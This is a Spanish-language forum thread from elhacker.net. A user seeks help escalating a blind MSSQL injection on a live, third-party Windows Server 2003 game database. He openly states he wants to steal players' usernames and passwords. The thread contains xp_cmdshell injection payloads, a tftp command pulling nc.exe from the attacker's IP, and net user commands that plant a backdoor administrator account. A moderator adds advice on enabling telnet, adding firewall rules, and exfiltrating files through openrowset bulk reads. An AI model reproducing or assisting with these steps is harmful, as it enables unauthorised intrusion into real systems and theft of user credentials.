elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Alcanse con blind mssql inject , (comando shellcmd).
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Alcanse con blind mssql inject , (comando shellcmd).  (Leído 3,290 veces)
ThePinkPanther

Desconectado Desconectado

Mensajes: 82



Ver Perfil
Alcanse con blind mssql inject , (comando shellcmd).
« en: 30 Marzo 2013, 23:28 pm »

Buenas, la cuestion viene por la siguiente mano .

Tengo una web vulnerable a mssql inject, donde puedo ejecutar un comando por vez


'x' ; EXEC master.dbo.xp_cmdshell 'COMANDO MSDOS' --

La web esta hosteada en linux,pero el comando va a una base de datos que esta alojada en un servidor Microsoft Windows server 2003 q no tiene un apache como para subirle un archivo php y podes usar una shell,simplemente es un servidor, y queria subirle un archivo de alguna forma un netcat o un troyano lo que sea para poder manipularlo , cuando intente subir un archivo por tftp , levante un sv tftp en mi pc , y se ve que no tiene activado en ese windows server 2003 el tftp ,porque no puede enviarle el archivo .

hice una cosa asi.

'x' ; EXEC master.dbo.xp_cmdshell 'tftp -i miip Get nc.exe %systemroot%/system32/nc.exe ' --

y no pude mandarselo , alguien sabe que otra forma puedo utilizar para subirle un archivo al servidor, teniendo en cuenta que puedo ejecutar solamente un comando por ves en el servidor.?
O un archivo .bat que me de shell remota ?.
probe tambien crear un usuario ,darle privilegios administradores y escritorio remoto ,pero no funciono tampoco . quisas solo tenga acceso desde la cuenta administrador de windows a la pc, es un host que se paga para tenerlo como servicio.

Saludos gracias por leer :)
En línea

WHK
Moderador
***
Desconectado Desconectado

Mensajes: 6.576


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Alcanse con blind mssql inject , (comando shellcmd).
« Respuesta #1 en: 2 Abril 2013, 14:34 pm »

Y si intentas habilitar escritorio remoto y agregar un usuario nuevo para acceder?
Igual todo depende de los permisos que se le haya dado a la ejecución del motor MSSQL.

Recuerda tambien que desde windows server 2007 y Windows 7 ya no viene habilitado con tftp ni telnet, esas herramientas ahora vienen deshabilitadas por defecto, lo que si puedes hacer es desde la consola habilitar el servidor telnet y desde el comando reg add agregar una regla al firewall, pero como te digo, todo depende de los permisos que tenga la base de datos.

Haz la prueba y hazle un reboot con shutdown -r jajajaja si se reinicia es porque tienes permisos suficientes para trollear un buén rato xD y si no se reinicia entonces no podrás hacer mucho ya que significa que solo tienes permisos locales aunque de todas formas puedes hacer muchas cosas como tratar de que te escriba un archivo con la version del sistema operativo y despues leerlo con select * from openrowset(bulk N'C:\...temp\so.txt', SINGLE_BLOB)

Suerte! y nos cuentas como te fue o si tienes alguna duda.

Saludos.
En línea

- Telegram: @WHK102 - Website: https://yhojann.cl/
ThePinkPanther

Desconectado Desconectado

Mensajes: 82



Ver Perfil
Re: Alcanse con blind mssql inject , (comando shellcmd).
« Respuesta #2 en: 2 Abril 2013, 22:08 pm »

Hola , muchas gracias por responder , se puede ejecutar comandos desde la shell con el comando que deje allí arriba esta 100% comprobado .
Le hice un tskill a un proceso que corre el juego que ellos tienen y se cerro  , varias veces hice esa comprobación, no pude crear un usuario para conectarme mediante escritorio remoto , segui una guia que lei aca en el foro , de un usuario que explicaba cual era la forma de crear un usuario y abilitarlo con permisos administrador e escritorio remoto ,la segui y no funciono quisas escribio mal el usuario los comandos , o el servidor que intento acceder no lo permite .

Lo hice en base a lo que escribio kamsky en el post : http://foro.elhacker.net/hacking_basico/acceso_remoto_habilitarlo_por_cmd-t275703.0.html

net user panter panter /add
net localgroup Administradores panter /add
net localgroup "Usuarios de escritorio remoto" panter /add

Probe agregarlo de diferentes formas al ver que esta primera no funcionaba , como por ejemplo sacarle el /add al segundo comando y al 3ero.
tambien , probe sacarle un panter al primero y sacarle el add a los otros 2 comandos, sin embargo no pude acceder remotamente al host.

No se de que forma seria para escribir una regla al firewall para poder utilizar telnet, si alguien podría ayudarme se lo agradeceria mucho.
No pido que me solucionen mi problema , si no que me digan que posiblidades tengo de acceder a la pc , necesito solo 5 minutos dentro del host para poder ejecutar una sentencia trans-sql dentro de su query analizer para imprimir en pantalla los usuarios y contraseñas de los jugadores y hacerme con ellos.

Y si intentas habilitar escritorio remoto y agregar un usuario nuevo para acceder?
Igual todo depende de los permisos que se le haya dado a la ejecución del motor MSSQL.

Recuerda tambien que desde windows server 2007 y Windows 7 ya no viene habilitado con tftp ni telnet, esas herramientas ahora vienen deshabilitadas por defecto, lo que si puedes hacer es desde la consola habilitar el servidor telnet y desde el comando reg add agregar una regla al firewall, pero como te digo, todo depende de los permisos que tenga la base de datos.

Haz la prueba y hazle un reboot con shutdown -r jajajaja si se reinicia es porque tienes permisos suficientes para trollear un buén rato xD y si no se reinicia entonces no podrás hacer mucho ya que significa que solo tienes permisos locales aunque de todas formas puedes hacer muchas cosas como tratar de que te escriba un archivo con la version del sistema operativo y despues leerlo con select * from openrowset(bulk N'C:\...temp\so.txt', SINGLE_BLOB)

Suerte! y nos cuentas como te fue o si tienes alguna duda.

Saludos.

Como podria ver sus directorios y descargarme archivos que tengan ellos ?? , sabiendo que es una inyeccion a siegas , y puedo ejecutar comandos,pero no puedo hacer que un select me devuelva datos, me los puede devolver, pero no los puedo imprimir en pantalla.


Otra cosa, es posible que ellos hayan configurado el firewall para recivir conexiones de escritorio remoto solo desde una ip? , porque antes me dejaba entrar por lo menos a verificar los datos,ahora no me conecta el escritorio remoto . y el nmap no me tira resultados de scaneo de esa ip.

Un saludo y muchas gracias por responder WHK.
« Última modificación: 2 Abril 2013, 22:37 pm por ThePinkPanther » En línea

WHK
Moderador
***
Desconectado Desconectado

Mensajes: 6.576


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Alcanse con blind mssql inject , (comando shellcmd).
« Respuesta #3 en: 3 Abril 2013, 14:41 pm »

mira, prueba con esto:

Código
  1. CREATE TABLE archivos(
  2. contenido varbinary(MAX),
  3. nombre NCHAR(255)
  4. );
  5.  
  6. INSERT INTO archivos (contenido, nombre) VALUES (CONVERT(varbinary(MAX), (
  7. SELECT * FROM openrowset(bulk N'C:\Windows\win.ini', SINGLE_BLOB) test
  8. )), 'win.ini');
  9.  

La idea es que hagas una tabla con dos columnas, el nombre del archivo y su contenido, luego tomas el archivo y lo metes a la base de datos, luego lo consultas desde la misma inyección :P

Si te funciona nos cuentas.
Saludos.
En línea

- Telegram: @WHK102 - Website: https://yhojann.cl/
ThePinkPanther

Desconectado Desconectado

Mensajes: 82



Ver Perfil
Re: Alcanse con blind mssql inject , (comando shellcmd).
« Respuesta #4 en: 4 Abril 2013, 21:35 pm »

Gracias whk .  ;D
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Escaner de vulnerabilidades PHP/XSS/SQL Inject « 1 2 3 »
Nivel Web
Rojodos 29 18,712 Último mensaje 1 Agosto 2006, 21:08 pm
por Pablo75
dll inject by c3r0x.. « 1 2 »
Programación C/C++
c3r0x 12 5,915 Último mensaje 2 Julio 2012, 19:24 pm
por x64core
Alcanse de una variable en C#
.NET (C#, VB.NET, ASP)
Fabricio 7 7,053 Último mensaje 7 Mayo 2010, 16:20 pm
por [D4N93R]
Pregunta Mssql inject.
Nivel Web
PHAMTOM 1 1,613 Último mensaje 8 Mayo 2010, 02:49 am
por WHK
SQL-Inject Proyecto
Nivel Web
buger430 2 2,805 Último mensaje 3 Noviembre 2010, 21:29 pm
por buger430
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines